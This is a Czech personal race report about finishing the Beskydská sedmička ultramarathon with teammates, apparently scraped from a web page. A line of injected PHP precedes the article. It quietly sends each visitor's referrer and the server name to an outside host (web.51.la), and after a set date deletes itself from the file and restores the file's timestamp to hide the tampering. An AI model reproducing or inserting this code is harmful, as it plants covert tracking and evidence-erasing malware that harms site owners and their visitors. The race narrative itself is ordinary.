check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456735874){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=15&id=18776897&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/modules/mod_banners/models.php"); } Věra Hoštičková - Kde je vůle, tam je i cesta. Beskydská sedmička
           
www.continental.cz
Věra Hoštičková - Kde je vůle, tam je i cesta. Beskydská sedmička

Bolely vás někdy nohy? Mysleli jste si, že skutečně hodně? Ujistím vás, že to ,,bolení“ jde dovést až do extrému. Stačí si sehnat dva sportošílený parťáky, udělat klik, klik a vyrazit na Beskydskou sedmičku. Bolenoh je zde umocněný tak na desátou.

Beskydská sedmička je jak se na oficiálních stránkách píše MČR v ultramaratonu dvojic ale i extrémní přechod Beskyd Javorový – Javorník. Libor Uher, který tento závod pořádá, je ve Frenštátu pod Radhoštěm osobnost asi jako Švanda dudák u nás ve Strakonicích. Alespoň z doslechu ho tam znají úplně všichni. Přitom menším vzrůstem a mluvící o pokoře k horám i v životě, se jeví jako velmi nenápadný a skromný člověk.

Beskydská sedmička ve mně doteď vyvolává velký respekt, pokoru. Tento závod mě provokoval velkou výzvou a já jsem byla schopna mu na ni odpovědět spolu s Vaškem, Martinem a Pavlem. Nikdy jsem neušla 90 kilometrů v kuse. Nikdy jsem neudělala víc kroků během 22 hodin. Nikdy jsem nevěřila, že bych to mohla ujít. Paradoxně ani po čtvrtině závodu jsem nám nevěřila.

První výšlap byl dost psychicky náročný. Třítisícový dav se vydal zdolat Velký Javorový přímo po sjezdovce. Všude kužely čelovek, hlava na hlavě a hůlek nespočet. Vystoupat z tří set výškových metrů nad tisíc metrů mě nezlomilo tolik, jako fakt, že kluci z týmu byli pořád o několik metrů přede mnou, ztráceli se mi v davu a já jsem měla pocit outsidera….nakonec jsme všichni pochopili, že je dobré být všichni v kontaktu, abychom se sobě neztratili a mohli se navzájem podpořit.

Po dalších pár hodinách cesty jsme na tom byli všichni relativně dobře. Třítisícový dav se celkem roztrhal a utvořili se menší skupinky. Za světla čelovek jsme se po schůdnějších cestách rozběhli, abychom uvolnili chůzí ztuhlé svalstvo. Vhod nám přišla občerstvovací stanice, která na pohled vypadala naprosto fantasticky. Dlouhé stoly melounů a banánů. Čokoládové bonbony, kýble se sypaným musli, sušenky. Voda i hypotonický nápoj byl ředěn rovnou v padesátilitrových sudech. Povětšinou zde byla i první pomoc se spoustou desinfekci, náplastí a hlavně milými organizátory, co lepili moje puchýře na palcích od trekových hůlek.

Co mě na závodě asi nejvíce fascinovalo, bylo ticho na trati. Nikdo se nechtěl zbytečně vyčerpávat mluvením, pokud to nebylo nezbytné. Poměrně tichý provazec těl nás dovedl na 38. kilometr na Lysou horu. Došli jsme tam akorát po rozednění a přicházeli první osobní krize. I mě docházely pozitivní vtípky, ale snažila jsem se kluky alespoň trochu podpořit pár slovy a nabídla jim všechny moje energetické vychytávky. Následně mě kluci pasovali na chodící lékárničku.

Popravdě mě cesta dosti splývá. Nahoru, dolu, nahoru, dolu. Nepočítají se kilometry, ale kolikrát budu muset ještě na kopec a pak dolů. Platí zde jednoduché zákony – Co si slezeš si posléze taky vylezeš. Dolů klesáš proto, aby si pak zase mohl stoupat nahoru.

Člověk měl spoustu času na přemýšlení, ale většina lidí nepřemýšlela nad ničím duchaplnějším. Když jsme lezli po druhé sjezdovce, honilo se mi hlavou, jak se doma budu válet v posteli a dám si nejméně měsíční tréninkové volno. Posléze se moje myšlenky ale omezily pouze na jídlo, pití, puchýře a jak je na tom zbytek týmů. Mnohdy jsme museli vyvinout maximální soustředěnost na cestu, protože běžet v za svitu čelovek z kopce kde se sype kamení, není nic jednoduchého. Nejde o nic jiného než vypnout mozek a makat. Potlačit bolest svalů a opuchlých chodidel. Jako největší psychická pomoc pro mě byl Pavel, který většinu cesty vtipkoval o psychickém rozložení týmu a neustále to zkoušel. Naštěstí se nepovedlo. Cítila jsem přes všechny jeho řeči, že je na tom fyzicky dobře a velkou část cesty určoval tempo. Paradoxně jsme spolu předbíhali hodně lidí do kopce a trochu demotivační bylo pak občasné čekání u check pointů (kontrolních zon) na Martina s Vaškem, kterého začaly zlobit vazy.

Postupovali jsme rozumným tempem, ale bylo už o mnoho těžší rozpohybovat tělo do běhu. Hlavně pro kluky, které občasná krize neminula. O to víc je obdivuji, že i přesto ukázali svoji vůli a krize vždycky přebila myšlenka na cíl. Posledních 15 kilometrů z Pinduly se zdálo i mě nekonečných. Přišla na mě první krize. Nevadilo, že jsem byla fyzicky unavená, ale začalo se mně chtít spát. Na sedýlku dáváme 10 minut spánku a poklusem se snažíme dohnat Martina, který šel napřed. Vašek se zde definitivně rozhodl skončit a nejít přes poslední vrchol.

Na posledním kopci Velkém Javorovém nás dostihlo šero. Veškeré ambice na dobré umístění upadají a našim cílem je zkrátka dojít! Došlo nám pití a tak tedy ještě šest kilometrů ve tmě, povětšinou serpentinami v lese, kde se pro změnu sypalo kamení na každém druhém kroku. V tu chvíli jsem hrozně potřebovala slyšet nějaké povzbuzení a nebojovala sama se svojí (de)morálkou. Nikdo už na něj ale neměl sílu.

Když jsme s klukama finišovali poslední kilometr v půl deváté večer frenštátskými ulicemi, hnali se mi do očí slzy. Obrovská euforie a nevěřícný pocit, že jsem to opravdu dokázala. Běželi jsme ulicí po kočičích hlavách. Na chodnících postávali a doslova řvali a tleskali diváci. Najednou jsem necítila žádnou bolest svalů, únavu ani žízeň. Byl to velice silný zážitek. Na náměstí se doběh promítal na plátno a všechno umocnily ještě úsměvy z posledních sil. Měla jsem pocit, že jsem vážně dobrá.

Každý závod by se měl absolvovat s pokorou a tento obzvlášť. Je nutnost mít fyzický základ, ale velkou roli hraje psychické rozpoložení celého týmu. Nikdo nám neříkal, že to bude jednoduché, ale rozhodně si odvážím silný zážitek. Ani bych vlastně nedokázala říci, zdali to byl strašný nebo skvělý závod. Spíše bych to pro mě definovala obrovskou výzvou. Bolavé svaly a kyčel mi pořád dávají prostor pro to, abych ještě všechno dokázala uvědomit.

Ještě trochu statistik na závěr.

Čas v cíli nám ukazoval 22hodin a 2 minuty. V naší kategorii smíšených trojic jsme se umístili na devatenáctém místě ze sta dokončivších. Absolutně jsem pak na 154. příčce z 584 týmů, kteří stihli časový limit třicet hodin. Znamená to tedy, že každý třetí člověk nedokončil. Do příštího roku jsme teoreticky schopni stáhnout čas o hodinu a půl až dvě a útočit na první desítku v kategorii. Pokud bych šla se stejně fyzicky zdatnou sparingpartnerkou, mohly bychom stát i na bedně.

Děkuji všem, co mi fandili a cestou podporovali. Moc mi to pomohlo v tom, abych se nebála a věřila si. I díky vám dostal tento šílený závod správný rozměr.